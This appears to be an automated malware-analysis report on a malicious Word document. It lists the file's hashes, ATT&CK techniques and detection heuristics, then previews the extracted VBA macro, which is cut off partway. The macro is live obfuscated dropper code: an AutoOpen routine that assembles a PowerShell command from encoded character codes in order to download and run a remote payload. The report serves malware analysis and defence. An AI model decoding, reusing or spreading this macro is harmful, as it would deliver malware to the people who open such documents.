Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 585775342c624646…

MALICIOUS

Office (OLE)

100.5 KB Created: 2018-06-19 15:53:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: 3f9a6a44f40bbfc943d54549c7cc5adf SHA-1: 7db97ed65e99fa949c83db174ef5fe85fa29a9d1 SHA-256: 585775342c624646dd15cbfc3c5c1bd9691a7f1f1204c82f99e899f32d81600c
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro with an AutoOpen function. This macro utilizes the Shell() function to execute a PowerShell command, which is obfuscated through character code concatenation. The reconstructed PowerShell command appears designed to download and execute a second-stage payload from a remote source.

Heuristics 6

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13243 bytes
SHA-256: be510322d1068072d5d15e338eacece76e7ad574e05a3c535e8e9943108ffcda
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "JYpwUAFjpdSoK"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "KzTsUnohLacYL"
Function KpPqiOJSMji()
On Error Resume Next
XzKll = 57692
UKMAIp = 16313
QZdSJQ = CByte(RDoLi)
LucAZ = CDate(72000)
fYIjD = MXCjI
CIrau = CDate(NpGVAl + Sin(5898 + 92328) * 13461 * CInt(94184))
QWaLVobFFG = "OwerSHell " + "& ( $SHeLLid[" + "1]+$shElLId[1" + "3]+'x') ( ( [C" + "hAR[]]( 28,87 " + ",111 "
DXPCPL = 64612
zEZWz = 77661
ZbWEzK = CByte(AclwC)
CsKFLl = CDate(21864)
jJpLX = qFDBf
luGwON = CDate(JGUsY + Sin(47937 + 95329) * 51839 * CInt(23324))
wPlzKE = ",104" + " , 109" + " ,78, 115," + " 24, 5" + ",24,86, 93 , 79" + ", 21,87, 90, 82" + " , 93, 91," + " 76 , 24,7" + "4 , 89,86, 92"
QFiwOr = 42095
mnMAmd = 61994
FiGER = CByte(AfcWcN)
PsLMb = CDate(7734)
wOGzYz = WaLAMX
QTBZJ = CDate(vzzNaU + Sin(3336 + 13475) * 70918 * CInt(51345))
rTUXfnWC = ", 87 " + ",85,3, 28, 82," + "84,1" + "12, 8" + "7, 7" + "6,24,5,24 ," + "86, 93 ," + "79,21 ,87, 90,"
XCAhOv = 15882
OHmGb = 43904
PiSNQ = CByte(zMrVB)
ihvma = CDate(55622)
uJTYp = JQbcNq
hpGwzR = CDate(qEwri + Sin(8789 + 27231) * 27484 * CInt(92579))
JcUIGiHikJj = " 8" + "2, 9" + "3 , 9" + "1 ,76," + "24 ,107 , 65," + "75,76 ,93 ,85" + " ,22,118 ,93 " + ", 76 ,2"
jUwQX = 87270
wiPrz = 3993
AnzpU = CByte(asQJPr)
zhWonA = CDate(94015)
EhVqcq = hLzwId
kwznrn = CDate(ZNDBwj + Sin(17334 + 56477) * 57598 * CInt(76304))
WwziONzFmfH = "2," + "111 ,9" + "3 " + ",90, 123, 84 ," + "81 , 93 ,86 " + ",7" + "6 ,3,28, 1" + "13, 91,10" + "9, 98 "
wlSCGO = 90152
rzjjuE = 90719
oDsAu = CByte(PMtTHD)
bobFa = CDate(58688)
HibjW = XswSW
BtmilP = CDate(vDnWc + Sin(78442 + 52818) * 44935 * CInt(91955))
niCVch = ", 119" + " ,24 , 5 ,2" + "4 , 31 ,80 " + ", 76 ," + " 76" + ",72 ,2 ,23 , 2" + "3 , 79 , 79 , " + "79 ," + "22,89, "
NPipU = 16617
GVwOGm = 39942
ziOiE = CByte(VwrDTi)
Ommwj = CDate(97491)
kSDVzo = bZYDbc
qqstW = CDate(issDlM + Sin(26285 + 33044) * 50798 * CInt(26236))
dsfzwvTHflb = "86 ," + " 89 ," + "86,76 ," + "80 , 89,"
KpPqiOJSMji = QWaLVobFFG + wPlzKE + rTUXfnWC + JcUIGiHikJj + WwziONzFmfH + niCVch + dsfzwvTHflb
End Function
Function qZYVAA()
On Error Resume Next
cOdFo = 34843
oNpSn = 31947
RFoYD = CByte(QuqrB)
SwDaQ = CDate(31160)
PDZVq = FXFZCO
iqRCT = CDate(PYqort + Sin(843 + 27665) * 39257 * CInt(16440))
PjzvB = "85 , 75,80 ,87" + " ,72,22 ,91" + ", 8" + "7 ,85 , 23 , 94" + ",1, 98,84 , 1" + "16, 83, 95," + " 72 ,66 , " + "23 , 120 , 80,7" + "6,76,7"
CUznoa = 11946
vbiIF = 38333
wBzzok = CByte(NrAoP)
fOBMJ = CDate(34262)
cEaoc = wSzAnX
iDhaD = CDate(QuGlh + Sin(31017 + 39498) * 12669 * CInt(48020))
BrBAUl = "2 ,2 ,23" + " , 23 , 79 ," + " 79,79 ,22, 95" + ",87,78, 76 , 8"
TXufTQ = 14218
KacwvQ = 31048
SXvFG = CByte(ZIjdX)
FPaCUs = CDate(77497)
iRwWS = iiopDw
KCHOm = CDate(kFKuUM + Sin(85175 + 85581) * 99295 * CInt(53557))
KTXcFVAzJiA = "2,87,90 , 8" + "9,84 , 93 " + ", 74 , 76,2" + "2 " + ", 81," + "86,23," + " 72,8 ,85,8" + "7, 77 , 111 , "
SbZUwo = 16828
ObrQj = 75574
mMPzz = CByte(bsorGc)
zpjITj = CDate(88342)
YwkIEJ = zUmtLi
vwjLZP = CDate(WBUHWW + Sin(3363 + 55246) * 76999 * CInt(94728))
fHcdz = "123, 23 , 120, " + "80, 76 ,76,72 ," + " 2 , 23,23 , " + "78 , 81,7" + "6,89 , 85, 81 " + ", 86 " + ",84 ,87"
qZYVAA = PjzvB + BrBAUl + KTXcFVAzJiA + fHcdz
End Function
Function DtNtUkkHpEm()
On Error Resume Next
WmVmW = 99493
bkswjz = 98560
KwMsL = CByte(Kuznr)
YZvCdq = CDate(80416)
aAzFt = cEYGO
HuKMH = CDate(VCMOV + Sin(65443 + 18344) * 62867 * CInt(79200))
VRYKLzzrcNj = ", 8" + "6 ,92, 8" + "7 ,86 ,22, " + "91,87 , 8" + "5," + " 23,126 ,1" + "5 ,93,12" + "2,72 ," + " 93, 23, 120"
lzkBD = 16496
jhGPs = 16706
lRJQrk = CByte(bcqkI)
SGoBvX = CDate(52087)
NEIQF = oLzfLj
VZBMhZ = CDate(aPwCll + Sin(83071 + 74171) * 27171 * CInt(80245))
tsIjQvQG = ",80 , 76, 76," + "72
... (truncated)

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